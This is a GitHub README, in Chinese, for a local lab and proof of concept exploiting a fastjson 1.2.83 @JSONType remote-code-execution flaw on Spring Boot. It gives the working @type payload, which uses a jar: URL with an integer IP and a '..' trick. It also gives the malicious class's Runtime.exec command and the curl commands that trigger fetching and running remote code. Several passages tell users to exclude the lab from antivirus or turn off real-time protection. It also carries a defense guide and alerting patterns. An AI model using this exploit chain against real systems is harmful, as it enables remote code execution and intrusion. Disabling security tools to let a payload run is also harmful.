rockmelodies/Fastjson-JsonType-RCE-Demo

GitHub: rockmelodies/Fastjson-JsonType-RCE-Demo

这是一个用于在本地复现和演示 fastjson `@JSONType` 远程代码执行(RCE)漏洞的实验环境及 PoC。

Stars: 0 | Forks: 11

# fastjson `@JSONType` jar: URL RCE — 本地实验环境 这是一个独立且仅限本地回环的复现环境,用于演示 fastjson `ParserConfig.checkAutoType` 中 `@JSONType` 探测漏洞,该漏洞可通过 Spring Boot 的 `LaunchedURLClassLoader` 将精心构造的 `@type` 值转化为远程类加载。 已在 JDK 8 环境下使用 `cmd.exe /c calc` payload 进行了端到端验证(计算器窗口会从 vuln-app JVM 中弹出)。 ## 概述 ``` # Terminal 1 — 启动易受攻击的目标 cd vuln-app export JDK8=/e/software/jdk/jdk1.8.0_431 JAVA_HOME=$JDK8 PATH=$JDK8/bin:$PATH /e/software/maven/apache-maven-3.9.2/bin/mvn clean package -DskipTests $JDK8/bin/java.exe -jar target/fastjson-jsontype-vuln-app.jar # Terminal 2 — 运行 PoC cd poc ./run-poc.sh # → 几秒钟内 calc 会在 vuln-app 主机上弹出(RCE 证明) ``` 如果你的 Windows Defender 处于开启状态,它会将 `evil.jar` 隔离(因为它匹配到了 `Runtime.exec` payload 的特征)。请将此实验目录添加到 Defender 的排除列表中,或者在测试期间 暂时关闭实时保护。 ## 本实验包含的内容 ``` fastjson-jsontype-lab/ ├── README.md (this file) ├── vuln-app/ Spring Boot 2.7.18 + fastjson 1.2.83 FatJar target │ ├── pom.xml │ └── src/main/ │ ├── java/com/lab/vuln/ │ │ ├── VulnApplication.java │ │ ├── LaunchedClassLoaderInitializer.java ← the trigger wiring │ │ ├── ParseController.java (/info /parse /parse-async /check) │ │ └── AsyncParser.java (worker thread, RCE lane) │ └── resources/application.properties (127.0.0.1:8081) └── poc/ ├── GenPayload.java ASM generator: jar:URL-named class + calc ├── payload.json the @type payload (uses integer IP 2130706433) ├── build-malicious-jar.sh compiles Gen + generates evil.jar via java.util.zip ├── serve-jar.sh serves /evil -> evil.jar on 127.0.0.1:18080 └── run-poc.sh one-shot driver (build → serve → exploit → report) ``` ## 漏洞利用原理 ### Payload ``` {"@type":"jar:http:..2130706433:18080.evil!.Exploit","x":1} ``` 有两个不太直观的细节: - **`2130706433`** 是以单个十进制整数形式表示的 `127.0.0.1`。点分形式 `127.0.0.1` 是**无效**的 ——请参阅下文的“为何使用整数 IP”。 - **`..`** 是将看似类名的字符串重新构造为 URL 的关键技巧。fastjson 的 `@JSONType` 探测会执行 `typeName.replace('.', '/') + ".class"`,从而将 `..` 转换为 `//`: jar:http:..2130706433:18080.evil!.Exploit -> jar:http://2130706433:18080/evil!/Exploit.class ### 探测机制 `ParserConfig.checkAutoType` 会运行一个 `@JSONType` “探测”路径,即使在全球禁用 AutoType 的 情况下该路径依然可达(此探测是一个信任通道)。该探测会如上所述重组资源名称,并向配置的 `defaultClassLoader` 请求将其作为流获取: ``` String resource = typeName.replace('.', '/') + ".class"; InputStream is = defaultClassLoader.getResourceAsStream(resource); // then: ClassReader -> TypeCollector.hasJsonType() // then: TypeUtils.loadClass(typeName, defaultClassLoader, true) ``` 当 `defaultClassLoader` 是 Spring Boot 的 `LaunchedURLClassLoader` 时, `getResourceAsStream` 实际上会将 `jar:http://...!/...class` 视为真实的嵌套 jar URL,并**发起一个 HTTP GET** 请求来获取它。 ### 触发机制(`LaunchedClassLoaderInitializer`) 仅仅在“Spring Boot FatJar 内部运行”的普通设置本身是**不够**的。 探测使用的是 `ParserConfig.defaultClassLoader`,默认情况下,它是调用 `JSON.parse` 的任何线程的 上下文类加载器——而在 Tomcat 请求线程上,这并不是正确的加载器。上游研究的测试工具 (原始 PoC 仓库中的 Test2)通过显式执行以下操作使这条利用链生效: 1. 构造一个 URL 数组指向 FatJar 的 `LaunchedURLClassLoader` (`LaunchedClassLoaderInitializer` 通过反射实现此操作)。 2. 调用 `ParserConfig.getGlobalInstance().setDefaultClassLoader(thatLoader)`。 这模拟了真实的触发条件(应用程序使用支持 jar-URL 的加载器调用 `setDefaultClassLoader`),并且正是这使得探测能够实际获取并 `defineClass` 远程类。 ### 恶意类 `GenPayload.java` 使用 ASM 生成一个字节码内部名称精确为 `jar:http://2130706433:18080/evil!/Exploit` 的类(这无法通过 Java 源代码编写),并使用运行时可见的 `@JSONType` 进行修饰。它的 ``: ``` System.out.println("REMOTE RCE EXECUTED (cmd launched from remote class)"); Runtime.getRuntime().exec("cmd.exe /c calc"); ``` 当 fastjson 对获取到的字节执行 `defineClass` 并初始化该类时, `` 会在 vuln-app JVM 内部运行 -> 从而弹出计算器。 ## 为何使用整数 IP fastjson 的探测会执行 `typeName.replace('.', '/')`。像 `127.0.0.1` 这样的点分 IP 会变成 `127/0/0/1`,这会破坏 URL 主机并使得重组后的资源名称无法解析——探测会返回 null, 并且 `checkAutoType` 会直接落入拒绝哈希门控,抛出 `autoType is not support`。整数形式 `2130706433` 没有点号,能够在替换后保留下来, 并在 HTTP 层解析为回环地址。 这也是为什么 README 的防御指南建议对 `@type` 值中的整数形式 IP 字面量进行告警的原因。 ## 为何存在两个端点 | 端点 | 线程 | 行为 | | --- | --- | --- | | `POST /parse` | Tomcat 请求线程 | 探测依然会运行(它使用的是 `defaultClassLoader`,而不是该线程的 TCCL),因此 jar 文件会被获取——但在此线程上,类定义阶段通常无法完成。可用来演示 SSRF 部分。 | | `POST /parse-async` | 启动时创建的工作线程 | 完整的 RCE——类被成功定义且 `` 运行,计算器弹出。 | | `POST /check` | (任意) | 绕过 JSON 解析器并直接使用原始类型名称调用 `checkAutoType`。这是最简洁的单一探测演示。 | | `GET /info` | (任意) | 诊断信息:thread, TCCL, `parserConfigClassLoader`, `parserConfigDefaultClassLoader`, `autoTypeSupport`。 | ## 为何使用 JDK 8 JDK 9+ 收紧了 `defineClass` 的类名验证,并拒绝接受 `jar:http://…!/Exploit` 这样的内部名称,因此利用链会在 SSRF 步骤停止。 JDK 8 的验证器接受这些字节——这正是 RCE 阶段能够成功的原因。 ## 前置条件 - **JDK 8**。本实验假定路径为 `/e/software/jdk/jdk1.8.0_431`;可以通过 `JDK8` 环境变量覆盖。 - **Maven**。本机路径为:`/e/software/maven/apache-maven-3.9.2/bin/mvn`。 - **curl**、**python**(需要 3.7+ 以支持 `http.server --directory`)、**bash**。 - 如果你希望看到默认的 `cmd.exe /c calc` payload 的 弹出效果,则需要 **Windows** 主机。对于其他操作系统,请在运行 GenPayload 时传入 `-Dpoc.cmd=...` 并 重新构建 evil.jar。 - 如果你的防病毒软件对 `Runtime.exec` payload 进行了特征匹配(Windows Defender 就会这么做),请为本实验目录添加**防病毒例外**。 ## 手动操作步骤 ``` cd poc ./build-malicious-jar.sh ./serve-jar.sh & # background; serves 127.0.0.1:18080/evil SERVE_PID=$! # SSRF 演示路径(会获取 jar,这里通常不会定义 class): curl -X POST http://127.0.0.1:8081/parse \ -H 'Content-Type: application/json' \ -d @payload.json # 完全 RCE 路径(calc 应该会在 vuln-app 主机上弹出): curl -X POST http://127.0.0.1:8081/parse-async \ -H 'Content-Type: application/json' \ -d @payload.json # 直接 checkAutoType 演示: curl -X POST http://127.0.0.1:8081/check \ -H 'Content-Type: text/plain' \ -d 'jar:http:..2130706433:18080.evil!.Exploit' kill $SERVE_PID ``` 请求 `/parse-async` 成功的标志: - curl 响应体包含 `"resultClass":"jar:http:..2130706433:18080.evil!.Exploit"` —— fastjson 已将请求反序列化为远程类的实例。 - jar 服务器日志显示有两行 `GET /evil` 记录(一次用于探测的 `getResourceAsStream`,另一次用于随后的 `loadClass`)。 - vuln-app 控制台输出 `REMOTE RCE EXECUTED` 日志。 - 在 vuln-app 主机上有一个 `CalculatorApp` 进程正在运行,该进程是在 POST 请求发出时启动的。 ## 检查构造的类 ``` $JDK8/bin/javap.exe -v -p poc/build/Exploit.class | head -30 # this_class 应该显示为:"jar:http://2130706433:18080/evil!/Exploit" ``` (存放在 `build/` 而不是 `crafted/` 是因为 `GenPayload` 直接通过 `java.util.zip` 写入 jar 文件,绕过了外部的 `jar` 工具——某些防病毒软件会拦截在生成和打包之间对构造的 `.class` 文件的读取操作。) ## 防御指南 1. 启用 fastjson SafeMode:`-Dfastjson.parser.safeMode=true`。 2. 迁移至 **fastjson2**,并从不受信任的 JSON 路径中移除 fastjson 1.x。 3. 尽可能在 **JDK 9+** 上运行——这会阻断类定义阶段(SSRF 仍需单独缓解)。 4. 实施严格的出站流量限制,以防应用程序运行时获取任意的 HTTP 资源。 5. 对包含 `jar:`、`!`、`..` URL 重组 模式或整数形式 IP 字面量(例如 `2130706433`)的 `@type` 值进行告警。 6. 审计 `ParserConfig.setDefaultClassLoader(...)` 调用点——避免使用会将攻击者控制的资源名称解释为 URL 的类加载器。 ## 故障排除 - **PoC 提示目标无响应**:请先启动 `vuln-app`(终端 1)。 - **出现 `autoType is not support` 错误,计算器未弹出**:你极有可能在 payload/内部名称中使用了 点分 IP(`127.0.0.1`)。探测的 `replace('.','/')` 会破坏它。请使用整数形式 `2130706433`。 - **evil.jar 为空 / 被防病毒软件隔离**:`Runtime.exec` 字节码被 特征匹配。请将此实验目录添加到防病毒排除列表中,或者 暂时禁用实时保护,然后重新运行 `build-malicious-jar.sh`。 - **`/parse` 获取了 jar 但计算器未弹出**:这在请求 线程上是预期行为。请使用 `/parse-async` 进行完整的 RCE 演示。 - **在非 Windows 主机上计算器未弹出**:请使用 其他命令重新生成类,例如 `java -Dpoc.cmd="touch /tmp/RCE_PROOF" GenPayload ...`,并重新构建 evil.jar。 - **`serve-jar.sh` 报错 "address already in use"**:之前运行的进程仍 绑定在 :18080 端口。请将其 `kill` 掉或更改 `POC_PORT`(并更新 `payload.json` 和 `GenPayload` 的内部名称以保持一致)。 ## 参考资料 - fastjson `ParserConfig.checkAutoType`,发生 `typeName.replace('.', '/')` 重组的 `@JSONType` 探测代码块。 - Spring Boot `org.springframework.boot.loader.jar.Handler#parseURL`,在此处 嵌套 jar URL 的处理方式与普通的 JDK classpath 路径不同。 - 在 fastjson 1.2.66 中引入并一直存在至 1.2.83 的 `@JSONType` 探测行为。 - 原始研究工具: (本实验的 `LaunchedClassLoaderInitializer` 模拟了其中的 `Test2.java`)。
标签:Fastjson, JS文件枚举, Spring Boot, 域名枚举, 应用安全, 漏洞复现环境, 漏洞验证代码, 逆向工具